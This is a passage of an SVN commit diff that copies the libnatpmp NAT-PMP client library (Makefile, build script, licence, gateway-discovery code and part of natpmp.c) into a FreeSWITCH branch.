+  introduced strnatpmperr()
+  improved natpmpc.c sample
+  make install now install the binary
+
+2007/12/13:
+  Fixed getgateway.c for working under OS X ;)
+  Fixed values for NATPMP_PROTOCOL_TCP and NATPMP_PROTOCOL_UDP
+
+2007/12/11:
+  Fixed getgateway.c for compilation under Mac OS X
+
+2007/12/01:
+  added some comments in .h
+
+2007/11/30:
+  implemented almost everything
+

Deleted: freeswitch/branches/seven/libs/libnatpmp/LICENCE

Copied: freeswitch/branches/seven/libs/libnatpmp/LICENCE (from rev 14471, freeswitch/trunk/libs/libnatpmp/LICENCE) (0 => 14472)


--- freeswitch/branches/seven/libs/libnatpmp/LICENCE	                        (rev 0)
+++ freeswitch/branches/seven/libs/libnatpmp/LICENCE	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,26 @@
+Copyright (c) 2007-2008, Thomas BERNARD 
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+    * Redistributions of source code must retain the above copyright notice,
+      this list of conditions and the following disclaimer.
+    * Redistributions in binary form must reproduce the above copyright notice,
+      this list of conditions and the following disclaimer in the documentation
+      and/or other materials provided with the distribution.
+    * The name of the author may not be used to endorse or promote products
+	  derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGE.
+

Deleted: freeswitch/branches/seven/libs/libnatpmp/Makefile

Copied: freeswitch/branches/seven/libs/libnatpmp/Makefile (from rev 14471, freeswitch/trunk/libs/libnatpmp/Makefile) (0 => 14472)


--- freeswitch/branches/seven/libs/libnatpmp/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/libs/libnatpmp/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,75 @@
+# $Id: Makefile,v 1.7 2009/01/23 19:05:04 nanard Exp $
+# This Makefile is designed for use with GNU make
+# libnatpmp
+# (c) 2007-2009 Thomas Bernard
+# http://miniupnp.free.fr/libnatpmp.html
+
+CC = gcc
+INSTALL = install
+
+# APIVERSION is used in soname
+APIVERSION = 0
+CFLAGS = -O -fPIC -Wall -DENABLE_STRNATPMPERR
+
+LIBOBJS = natpmp.o getgateway.o
+
+OBJS = $(LIBOBJS) testgetgateway.o natpmpc.o
+
+STATICLIB = libnatpmp.a
+SHAREDLIB = libnatpmp.so
+SONAME = $(SHAREDLIB).$(APIVERSION)
+
+HEADERS = natpmp.h
+
+EXECUTABLES = testgetgateway natpmpc-shared natpmpc-static
+
+INSTALLPREFIX ?= $(PREFIX)/usr
+INSTALLDIRINC = $(INSTALLPREFIX)/include
+INSTALLDIRLIB = $(INSTALLPREFIX)/lib
+INSTALLDIRBIN = $(INSTALLPREFIX)/bin
+
+.PHONY:	all clean depend install cleaninstall
+
+all: $(STATICLIB) $(SHAREDLIB) $(EXECUTABLES)
+
+clean:
+	$(RM) $(OBJS) $(EXECUTABLES) $(STATICLIB) $(SHAREDLIB)
+
+depend:
+	makedepend -f$(MAKEFILE_LIST) -Y $(OBJS:.o=.c) 2>/dev/null
+
+install:	$(HEADERS) $(STATICLIB) $(SHAREDLIB)
+	$(INSTALL) -d $(INSTALLDIRINC)
+	$(INSTALL) --mode=644 $(HEADERS) $(INSTALLDIRINC)
+	$(INSTALL) -d $(INSTALLDIRLIB)
+	$(INSTALL) --mode=644 $(STATICLIB) $(INSTALLDIRLIB)
+	$(INSTALL) --mode=644 $(SHAREDLIB) $(INSTALLDIRLIB)/$(SONAME)
+	$(INSTALL) --mode=755 natpmpc-shared $(INSTALLDIRBIN)/natpmpc
+	ln --symbolic --force $(SONAME) $(INSTALLDIRLIB)/$(SHAREDLIB)
+
+cleaninstall:
+	$(RM) $(addprefix $(INSTALLDIRINC), $(HEADERS))
+	$(RM) $(INSTALLDIRLIB)/$(SONAME)
+	$(RM) $(INSTALLDIRLIB)/$(SHAREDLIB)
+	$(RM) $(INSTALLDIRLIB)/$(STATICLIB)
+
+testgetgateway:	testgetgateway.o getgateway.o
+
+natpmpc-static:	natpmpc.o $(STATICLIB)
+	$(CC) -o $@ $^
+
+natpmpc-shared:	natpmpc.o $(SHAREDLIB)
+	$(CC) -o $@ $^
+
+$(STATICLIB):	$(LIBOBJS)
+	$(AR) crs $@ $?
+
+$(SHAREDLIB):	$(LIBOBJS)
+	$(CC) -shared -Wl,-soname,$(SONAME) -o $@ $^
+
+# DO NOT DELETE
+
+natpmp.o: natpmp.h getgateway.h
+getgateway.o: getgateway.h
+testgetgateway.o: getgateway.h
+natpmpc.o: natpmp.h

Deleted: freeswitch/branches/seven/libs/libnatpmp/build.bat

Copied: freeswitch/branches/seven/libs/libnatpmp/build.bat (from rev 14471, freeswitch/trunk/libs/libnatpmp/build.bat) (0 => 14472)


--- freeswitch/branches/seven/libs/libnatpmp/build.bat	                        (rev 0)
+++ freeswitch/branches/seven/libs/libnatpmp/build.bat	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,17 @@
+@echo Compile getgateway
+gcc -c -Wall -Os -DWIN32 -DSTATICLIB -DENABLE_STRNATPMPERR getgateway.c
+gcc -c -Wall -Os -DWIN32 -DSTATICLIB -DENABLE_STRNATPMPERR testgetgateway.c
+gcc -o testgetgateway getgateway.o testgetgateway.o -lws2_32
+
+@echo Compile natpmp:
+gcc -c -Wall -Os -DWIN32 -DSTATICLIB -DENABLE_STRNATPMPERR getgateway.c
+gcc -c -Wall -Os -DWIN32 -DSTATICLIB -DENABLE_STRNATPMPERR natpmp.c
+gcc -c -Wall -Os -DWIN32 -DSTATICLIB -DENABLE_STRNATPMPERR natpmpc.c
+gcc -c -Wall -Os -DWIN32 wingettimeofday.c
+gcc -o natpmpc getgateway.o natpmp.o natpmpc.o wingettimeofday.o -lws2_32
+
+@echo Create natpmp.dll:
+gcc -c -Wall -Os -DWIN32 -DENABLE_STRNATPMPERR -DNATPMP_EXPORTS getgateway.c
+gcc -c -Wall -Os -DWIN32 -DENABLE_STRNATPMPERR -DNATPMP_EXPORTS natpmp.c
+dllwrap -k --driver-name gcc --def natpmp.def --output-def natpmp.dll.def --implib natpmp.lib -o natpmp.dll getgateway.o natpmp.o wingettimeofday.o -lws2_32
+

Deleted: freeswitch/branches/seven/libs/libnatpmp/declspec.h

Copied: freeswitch/branches/seven/libs/libnatpmp/declspec.h (from rev 14471, freeswitch/trunk/libs/libnatpmp/declspec.h) (0 => 14472)


--- freeswitch/branches/seven/libs/libnatpmp/declspec.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/libnatpmp/declspec.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,15 @@
+#ifndef __DECLSPEC_H__
+#define __DECLSPEC_H__
+
+#if defined(WIN32) && !defined(STATICLIB)
+	#ifdef NATPMP_EXPORTS
+		#define LIBSPEC __declspec(dllexport)
+	#else
+		#define LIBSPEC __declspec(dllimport)
+	#endif
+#else
+	#define LIBSPEC
+#endif
+
+#endif
+

Deleted: freeswitch/branches/seven/libs/libnatpmp/getgateway.c

Copied: freeswitch/branches/seven/libs/libnatpmp/getgateway.c (from rev 14471, freeswitch/trunk/libs/libnatpmp/getgateway.c) (0 => 14472)


--- freeswitch/branches/seven/libs/libnatpmp/getgateway.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libnatpmp/getgateway.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,425 @@
+/* $Id: getgateway.c,v 1.13 2009/03/10 10:15:31 nanard Exp $ */
+/* libnatpmp
+ * Copyright (c) 2007-2008, Thomas BERNARD <miniupnp@free.fr>
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+ * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+ * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+ * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+ * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */
+#include <stdio.h>
+#include <ctype.h>
+#ifndef WIN32
+#include <netinet/in.h>
+#endif
+#ifndef _MSC_VER
+#include <sys/param.h>
+#endif
+/* There is no portable method to get the default route gateway.
+ * So below are three differents functions implementing this.
+ * Parsing /proc/net/route is for linux.
+ * sysctl is the way to access such informations on BSD systems.
+ * Many systems should provide route information through raw PF_ROUTE
+ * sockets. */
+#ifdef __linux__
+#define USE_PROC_NET_ROUTE
+#undef USE_SOCKET_ROUTE
+#undef USE_SYSCTL_NET_ROUTE
+#endif
+
+#ifdef BSD
+#undef USE_PROC_NET_ROUTE
+#define USE_SOCKET_ROUTE
+#undef USE_SYSCTL_NET_ROUTE
+#endif
+
+#ifdef __APPLE__
+#undef USE_PROC_NET_ROUTE
+#undef USE_SOCKET_ROUTE
+#define USE_SYSCTL_NET_ROUTE
+#endif
+
+#if ((defined(sun) || defined(__sun)) && defined(__SVR4))
+#undef USE_PROC_NET_ROUTE
+#define USE_SOCKET_ROUTE
+#undef USE_SYSCTL_NET_ROUTE
+#endif
+
+#ifdef WIN32
+#undef USE_PROC_NET_ROUTE
+#undef USE_SOCKET_ROUTE
+#undef USE_SYSCTL_NET_ROUTE
+#define USE_WIN32_CODE
+#endif
+
+#ifdef USE_SYSCTL_NET_ROUTE
+#include <stdlib.h>
+#include <sys/sysctl.h>
+#include <sys/socket.h>
+#include <net/route.h>
+#endif
+#ifdef USE_SOCKET_ROUTE
+#include <unistd.h>
+#include <string.h>
+#include <sys/socket.h>
+#include <net/if.h>
+#include <net/route.h>
+#endif
+#ifdef WIN32
+#include <unknwn.h>
+#include <winreg.h>
+#define MAX_KEY_LENGTH 255
+#define MAX_VALUE_LENGTH 16383
+#endif
+#include "getgateway.h"
+
+#ifndef WIN32
+#define SUCCESS (0)
+#define FAILED  (-1)
+#endif
+
+#ifdef USE_PROC_NET_ROUTE
+int getdefaultgateway(in_addr_t * addr)
+{
+	unsigned long d, g;
+	char buf[256];
+	int line = 0;
+	FILE * f;
+	char * p;
+	f = fopen("/proc/net/route", "r");
+	if(!f)
+		return FAILED;
+	while(fgets(buf, sizeof(buf), f)) {
+		if(line > 0) {
+			p = buf;
+			while(*p && !isspace(*p))
+				p++;
+			while(*p && isspace(*p))
+				p++;
+			if(sscanf(p, "%lx%lx", &d, &g)==2) {
+				if(d == 0) { /* default */
+					*addr = g;
+					fclose(f);
+					return SUCCESS;
+				}
+			}
+		}
+		line++;
+	}
+	/* default route not found ! */
+	if(f)
+		fclose(f);
+	return FAILED;
+}
+#endif /* #ifdef USE_PROC_NET_ROUTE */
+
+
+#ifdef USE_SYSCTL_NET_ROUTE
+
+#define ROUNDUP(a) \
+	((a) > 0 ? (1 + (((a) - 1) | (sizeof(long) - 1))) : sizeof(long))
+
+int getdefaultgateway(in_addr_t * addr)
+{
+#if 0
+	/* net.route.0.inet.dump.0.0 ? */
+	int mib[] = {CTL_NET, PF_ROUTE, 0, AF_INET,
+	             NET_RT_DUMP, 0, 0/*tableid*/};
+#endif
+	/* net.route.0.inet.flags.gateway */
+	int mib[] = {CTL_NET, PF_ROUTE, 0, AF_INET,
+	             NET_RT_FLAGS, RTF_GATEWAY};
+	size_t l;
+	char * buf, * p;
+	struct rt_msghdr * rt;
+	struct sockaddr * sa;
+	struct sockaddr * sa_tab[RTAX_MAX];
+	int i;
+	int r = FAILED;
+	if(sysctl(mib, sizeof(mib)/sizeof(int), 0, &l, 0, 0) < 0) {
+		return FAILED;
+	}
+	if(l>0) {
+		buf = malloc(l);
+		if(sysctl(mib, sizeof(mib)/sizeof(int), buf, &l, 0, 0) < 0) {
+			free(buf);
+			return FAILED;
+		}
+		for(p=buf; p<buf+l; p+=rt->rtm_msglen) {
+			rt = (struct rt_msghdr *)p;
+			sa = (struct sockaddr *)(rt + 1);
+			for(i=0; i<RTAX_MAX; i++) {
+				if(rt->rtm_addrs & (1 << i)) {
+					sa_tab[i] = sa;
+					sa = (struct sockaddr *)((char *)sa + ROUNDUP(sa->sa_len));
+				} else {
+					sa_tab[i] = NULL;
+				}
+			}
+			if( ((rt->rtm_addrs & (RTA_DST|RTA_GATEWAY)) == (RTA_DST|RTA_GATEWAY))
+              && sa_tab[RTAX_DST]->sa_family == AF_INET
+              && sa_tab[RTAX_GATEWAY]->sa_family == AF_INET) {
+				if(((struct sockaddr_in *)sa_tab[RTAX_DST])->sin_addr.s_addr == 0) {
+					*addr = ((struct sockaddr_in *)(sa_tab[RTAX_GATEWAY]))->sin_addr.s_addr;
+					r = SUCCESS;
+				}
+			}
+		}
+		free(buf);
+	}
+	return r;
+}
+#endif /* #ifdef USE_SYSCTL_NET_ROUTE */
+
+
+#ifdef USE_SOCKET_ROUTE
+/* Thanks to Darren Kenny for this code */
+#define NEXTADDR(w, u) \
+        if (rtm_addrs & (w)) {\
+            l = sizeof(struct sockaddr); memmove(cp, &(u), l); cp += l;\
+        }
+
+#define rtm m_rtmsg.m_rtm
+
+struct {
+  struct rt_msghdr m_rtm;
+  char       m_space[512];
+} m_rtmsg;
+
+int getdefaultgateway(in_addr_t *addr)
+{
+  int s, seq, l, rtm_addrs, i;
+  pid_t pid;
+  struct sockaddr so_dst, so_mask;
+  char *cp = m_rtmsg.m_space; 
+  struct sockaddr *gate = NULL, *sa;
+  struct rt_msghdr *msg_hdr;
+
+  pid = getpid();
+  seq = 0;
+  rtm_addrs = RTA_DST | RTA_NETMASK;
+
+  memset(&so_dst, 0, sizeof(so_dst));
+  memset(&so_mask, 0, sizeof(so_mask));
+  memset(&rtm, 0, sizeof(struct rt_msghdr));
+
+  rtm.rtm_type = RTM_GET;
+  rtm.rtm_flags = RTF_UP | RTF_GATEWAY;
+  rtm.rtm_version = RTM_VERSION;
+  rtm.rtm_seq = ++seq;
+  rtm.rtm_addrs = rtm_addrs; 
+
+  so_dst.sa_family = AF_INET;
+  so_mask.sa_family = AF_INET;
+
+  NEXTADDR(RTA_DST, so_dst);
+  NEXTADDR(RTA_NETMASK, so_mask);
+
+  rtm.rtm_msglen = l = cp - (char *)&m_rtmsg;
+
+  s = socket(PF_ROUTE, SOCK_RAW, 0);
+
+  if (write(s, (char *)&m_rtmsg, l) < 0) {
+      close(s);
+      return FAILED;
+  }
+
+  do {
+    l = read(s, (char *)&m_rtmsg, sizeof(m_rtmsg));
+  } while (l > 0 && (rtm.rtm_seq != seq || rtm.rtm_pid != pid));
+                        
+  close(s);
+
+  msg_hdr = &rtm;
+
+  cp = ((char *)(msg_hdr + 1));
+  if (msg_hdr->rtm_addrs) {
+    for (i = 1; i; i <<= 1)
+      if (i & msg_hdr->rtm_addrs) {
+        sa = (struct sockaddr *)cp;
+        if (i == RTA_GATEWAY )
+          gate = sa;
+
+        cp += sizeof(struct sockaddr);
+      }
+  } else {
+      return FAILED;
+  }
+
+
+  if (gate != NULL ) {
+      *addr = ((struct sockaddr_in *)gate)->sin_addr.s_addr;
+      return SUCCESS;
+  } else {
+      return FAILED;
+  }
+}
+#endif /* #ifdef USE_SOCKET_ROUTE */
+
+#ifdef USE_WIN32_CODE
+int getdefaultgateway(in_addr_t * addr)
+{
+	HKEY networkCardsKey;
+	HKEY networkCardKey;
+	HKEY interfacesKey;
+	HKEY interfaceKey;
+	DWORD i = 0;
+	DWORD numSubKeys = 0;
+	TCHAR keyName[MAX_KEY_LENGTH];
+	DWORD keyNameLength = MAX_KEY_LENGTH;
+	BYTE keyValue[MAX_VALUE_LENGTH];
+	DWORD keyValueLength = MAX_VALUE_LENGTH;
+	DWORD keyValueType = REG_SZ;
+	BYTE gatewayValue[MAX_VALUE_LENGTH];
+	DWORD gatewayValueLength = MAX_VALUE_LENGTH;
+	DWORD gatewayValueType = REG_MULTI_SZ;
+	int done = 0;
+	
+	char networkCardsPath[] = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkCards";
+	char interfacesPath[] = "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces";
+	
+	// The windows registry lists its primary network devices in the following location:
+	// HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards
+	// 
+	// Each network device has its own subfolder, named with an index, with various properties:
+	// -NetworkCards
+	//   -5
+	//     -Description = Broadcom 802.11n Network Adapter
+	//     -ServiceName = {E35A72F8-5065-4097-8DFE-C7790774EE4D}
+	//   -8
+	//     -Description = Marvell Yukon 88E8058 PCI-E Gigabit Ethernet Controller
+	//     -ServiceName = {86226414-5545-4335-A9D1-5BD7120119AD}
+	// 
+	// The above service name is the name of a subfolder within:
+	// HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces
+	// 
+	// There may be more subfolders in this interfaces path than listed in the network cards path above:
+	// -Interfaces
+	//   -{3a539854-6a70-11db-887c-806e6f6e6963}
+	//     -DhcpIPAddress = 0.0.0.0
+	//     -[more]
+	//   -{E35A72F8-5065-4097-8DFE-C7790774EE4D}
+	//     -DhcpIPAddress = 10.0.1.4
+	//     -DhcpDefaultGateway = 10.0.1.1
+	//     -[more]
+	//   -{86226414-5545-4335-A9D1-5BD7120119AD}
+	//     -DhcpIpAddress = 10.0.1.5
+	//     -DhcpDefaultGateay = 10.0.1.1
+	//     -[more]
+	// 
+	// In order to extract this information, we enumerate each network card, and extract the ServiceName value.
+	// This is then used to open the interface subfolder, and attempt to extract a DhcpDefaultGateway value.
+	// Once one is found, we're done.
+	// 
+	// It may be possible to simply enumerate the interface folders until we find one with a DhcpDefaultGateway value.
+	// However, the technique used is the technique most cited on the web, and we assume it to be more correct.
+	
+	if(ERROR_SUCCESS != RegOpenKeyEx(HKEY_LOCAL_MACHINE, // Open registry key or predifined key 
+	                                 networkCardsPath,   // Name of registry subkey to open
+	                                 0,                  // Reserved - must be zero
+	                                 KEY_READ,           // Mask - desired access rights
+	                                 &networkCardsKey))  // Pointer to output key
+	{
+		// Unable to open network cards keys
+		return -1;
+	}
+	
+	if(ERROR_SUCCESS != RegOpenKeyEx(HKEY_LOCAL_MACHINE, // Open registry key or predefined key
+	                                 interfacesPath,     // Name of registry subkey to open
+	                                 0,                  // Reserved - must be zero
+	                                 KEY_READ,           // Mask - desired access rights
+	                                 &interfacesKey))    // Pointer to output key
+	{
+		// Unable to open interfaces key
+		RegCloseKey(networkCardsKey);
+		return -1;
+	}
+	
+	// Figure out how many subfolders are within the NetworkCards folder
+	RegQueryInfoKey(networkCardsKey, NULL, NULL, NULL, &numSubKeys, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+	
+	//printf( "Number of subkeys: %u\n", (unsigned int)numSubKeys);
+	
+	// Enumrate through each subfolder within the NetworkCards folder
+	for(i = 0; i < numSubKeys && !done; i++)
+	{
+		keyNameLength = MAX_KEY_LENGTH;
+		if(ERROR_SUCCESS == RegEnumKeyEx(networkCardsKey, // Open registry key
+		                                 i,               // Index of subkey to retrieve
+		                                 keyName,         // Buffer that receives the name of the subkey
+		                                 &keyNameLength,  // Variable that receives the size of the above buffer
+		                                 NULL,            // Reserved - must be NULL
+		                                 NULL,            // Buffer that receives the class string
+		                                 NULL,            // Variable that receives the size of the above buffer
+		                                 NULL))           // Variable that receives the last write time of subkey
+		{
+			if(RegOpenKeyEx(networkCardsKey,  keyName, 0, KEY_READ, &networkCardKey) == ERROR_SUCCESS)
+			{
+				keyValueLength = MAX_VALUE_LENGTH;
+				if(ERROR_SUCCESS == RegQueryValueEx(networkCardKey,   // Open registry key
+				                                    "ServiceName",    // Name of key to query
+				                                    NULL,             // Reserved - must be NULL
+				                                    &keyValueType,    // Receives value type
+				                                    keyValue,         // Receives value
+				                                    &keyValueLength)) // Receives value length in bytes
+				{
+					//printf("keyValue: %s\n", keyValue);
+					
+					if(RegOpenKeyEx(interfacesKey, (char *)keyValue, 0, KEY_READ, &interfaceKey) == ERROR_SUCCESS)
+					{
+						gatewayValueLength = MAX_VALUE_LENGTH;
+						if(ERROR_SUCCESS == RegQueryValueEx(interfaceKey,         // Open registry key
+						                                    "DhcpDefaultGateway", // Name of key to query
+						                                    NULL,                 // Reserved - must be NULL
+						                                    &gatewayValueType,    // Receives value type
+						                                    gatewayValue,         // Receives value
+						                                    &gatewayValueLength)) // Receives value length in bytes
+						{
+							// Check to make sure it's a string
+							if(gatewayValueType == REG_MULTI_SZ || gatewayValueType == REG_SZ)
+							{
+								//printf("gatewayValue: %s\n", gatewayValue);
+								done = 1;
+							}
+						}
+						else if(ERROR_SUCCESS == RegQueryValueEx(interfaceKey,         // Open registry key
+						                                    "DefaultGateway", // Name of key to query
+						                                    NULL,                 // Reserved - must be NULL
+						                                    &gatewayValueType,    // Receives value type
+						                                    gatewayValue,         // Receives value
+						                                    &gatewayValueLength)) // Receives value length in bytes
+						{
+							// Check to make sure it's a string
+							if(gatewayValueType == REG_MULTI_SZ || gatewayValueType == REG_SZ)
+							{
+								//printf("gatewayValue: %s\n", gatewayValue);
+								done = 1;
+							}
+						}
+						RegCloseKey(interfaceKey);
+					}
+				}
+				RegCloseKey(networkCardKey);
+			}
+		}
+	}
+	
+	RegCloseKey(interfacesKey);
+	RegCloseKey(networkCardsKey);
+	
+	if(done)
+	{
+		*addr = inet_addr((char *)gatewayValue);
+		return 0;
+	}
+	
+	return -1;
+}
+#endif /* #ifdef USE_WIN32_CODE */
+

Deleted: freeswitch/branches/seven/libs/libnatpmp/getgateway.h

Copied: freeswitch/branches/seven/libs/libnatpmp/getgateway.h (from rev 14471, freeswitch/trunk/libs/libnatpmp/getgateway.h) (0 => 14472)


--- freeswitch/branches/seven/libs/libnatpmp/getgateway.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/libnatpmp/getgateway.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,35 @@
+/* $Id: getgateway.h,v 1.3 2008/07/02 22:33:06 nanard Exp $ */
+/* libnatpmp
+ * Copyright (c) 2007, Thomas BERNARD <miniupnp@free.fr>
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+ * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+ * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+ * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+ * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */
+#ifndef __GETGATEWAY_H__
+#define __GETGATEWAY_H__
+
+#ifdef WIN32
+#ifdef _MSC_VER
+typedef unsigned __int32 uint32_t;
+#else
+#include <stdint.h>
+#endif
+#define in_addr_t uint32_t
+#endif
+#include "declspec.h"
+
+/* getdefaultgateway() :
+ * return value :
+ *    0 : success
+ *   -1 : failure    */
+LIBSPEC int getdefaultgateway(in_addr_t * addr);
+
+#endif

Deleted: freeswitch/branches/seven/libs/libnatpmp/natpmp.c

Copied: freeswitch/branches/seven/libs/libnatpmp/natpmp.c (from rev 14471, freeswitch/trunk/libs/libnatpmp/natpmp.c) (0 => 14472)


--- freeswitch/branches/seven/libs/libnatpmp/natpmp.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libnatpmp/natpmp.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,357 @@
+/* $Id: natpmp.c,v 1.8 2008/07/02 22:33:06 nanard Exp $ */
+/* libnatpmp
+ * Copyright (c) 2007-2008, Thomas BERNARD <miniupnp@free.fr>
+ * http://miniupnp.free.fr/libnatpmp.html
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+ * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+ * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+ * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+ * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */
+#ifdef __linux__
+#define _BSD_SOURCE 1
+#endif
+#include <string.h>
+#include <time.h>
+#ifndef _MSC_VER
+#include <sys/time.h>
+#endif
+#ifdef WIN32
+#include <winsock2.h>
+#include <Ws2tcpip.h>
+#include <io.h>
+#define EWOULDBLOCK WSAEWOULDBLOCK
+#define ECONNREFUSED WSAECONNREFUSED
+
+static int gettimeofday(struct timeval* p, void* tz /* IGNORED */) {
+  union {
+   long long ns100; /*time since 1 Jan 1601 in 100ns units */
+   FILETIME ft;
+  } _now;
+
+  GetSystemTimeAsFileTime( &(_now.ft) );
+  p->tv_usec=(long)((_now.ns100 / 10LL) % 1000000LL );
+  p->tv_sec= (long)((_now.ns100-(116444736000000000LL))/10000000LL);
+  return 0;
+}
+
+#else
+#include <errno.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#define closesocket close
+#endif
+#include "natpmp.h"
+#include "getgateway.h"
+
+int initnatpmp(natpmp_t * p)
+{
+#ifdef WIN32
+	u_long ioctlArg = 1;
+#else
+	int flags; 
+#endif
+	struct sockaddr_in addr;
+	if(!p)
+		return NATPMP_ERR_INVALIDARGS;
+	memset(p, 0, sizeof(natpmp_t));
+	p->s = socket(PF_INET, SOCK_DGRAM, 0);
+	if(p->s < 0)
+		return NATPMP_ERR_SOCKETERROR;
+#ifdef WIN32
+	if(ioctlsocket(p->s, FIONBIO, &ioctlArg) == SOCKET_ERROR)
+		return NATPMP_ERR_FCNTLERROR;
+#else
+	if((flags = fcntl(p->s, F_GETFL, 0)) < 0)
+		return NATPMP_ERR_FCNTLERROR;
+	if(fcntl(p->s, F_SETFL, flags | O_NONBLOCK) < 0)
+		return NATPMP_ERR_FCNTLERROR;
+#endif
+
+	if(getdefaultgateway(&(p->gateway)) < 0)
+		return NATPMP_ERR_CANNOTGETGATEWAY;
+	
+	memset(&addr, 0, sizeof(addr));
+	addr.sin_family = AF_INET;
+	addr.sin_port = htons(NATPMP_PORT);
+	addr.sin_addr.s_addr = p->gateway;
+	if(connect(p->s, (struct sockaddr *)&addr, sizeof(addr)) < 0)
+		return NATPMP_ERR_CONNECTERR;
+	return 0;
+}
+
+int closenatpmp(natpmp_t * p)
+{
+	if(!p)
+		return NATPMP_ERR_INVALIDARGS;
+	if(closesocket(p->s) < 0)
+		return NATPMP_ERR_CLOSEERR;
+	return 0;
+}
+
+int sendpendingrequest(natpmp_t * p)
+{
+	int r;
+/*	struct sockaddr_in addr;*/
+	if(!p)
+		return NATPMP_ERR_INVALIDARGS;
+/*	memset(&addr, 0, sizeof(addr));
+	addr.sin_family = AF_INET;
+	addr.sin_port = htons(NATPMP_PORT);
+	addr.sin_addr.s_addr = p->gateway;
+	r = (int)sendto(p->s, p->pending_request, p->pending_request_len, 0,
+	                   (struct sockaddr *)&addr, sizeof(addr));*/
+	r = (int)send(p->s, p->pending_request, p->pending_request_len, 0);
+	return (r<0) ? NATPMP_ERR_SENDERR : r;
+}
+
+int sendnatpmprequest(natpmp_t * p)
+{
+	int n;
+	if(!p)
+		return NATPMP_ERR_INVALIDARGS;
+	/* TODO : check if no request is allready pending */
+	p->has_pending_request = 1;
+	p->try_number = 1;
+	n = sendpendingrequest(p);
+	gettimeofday(&p->retry_time, NULL);	// check errors !
+	p->retry_time.tv_usec += 250000;	/* add 250ms */
+	if(p->retry_time.tv_usec >= 1000000) {
+		p->retry_time.tv_usec -= 1000000;
+		p->retry_time.tv_sec++;
+	}
+	return n;
+}
+
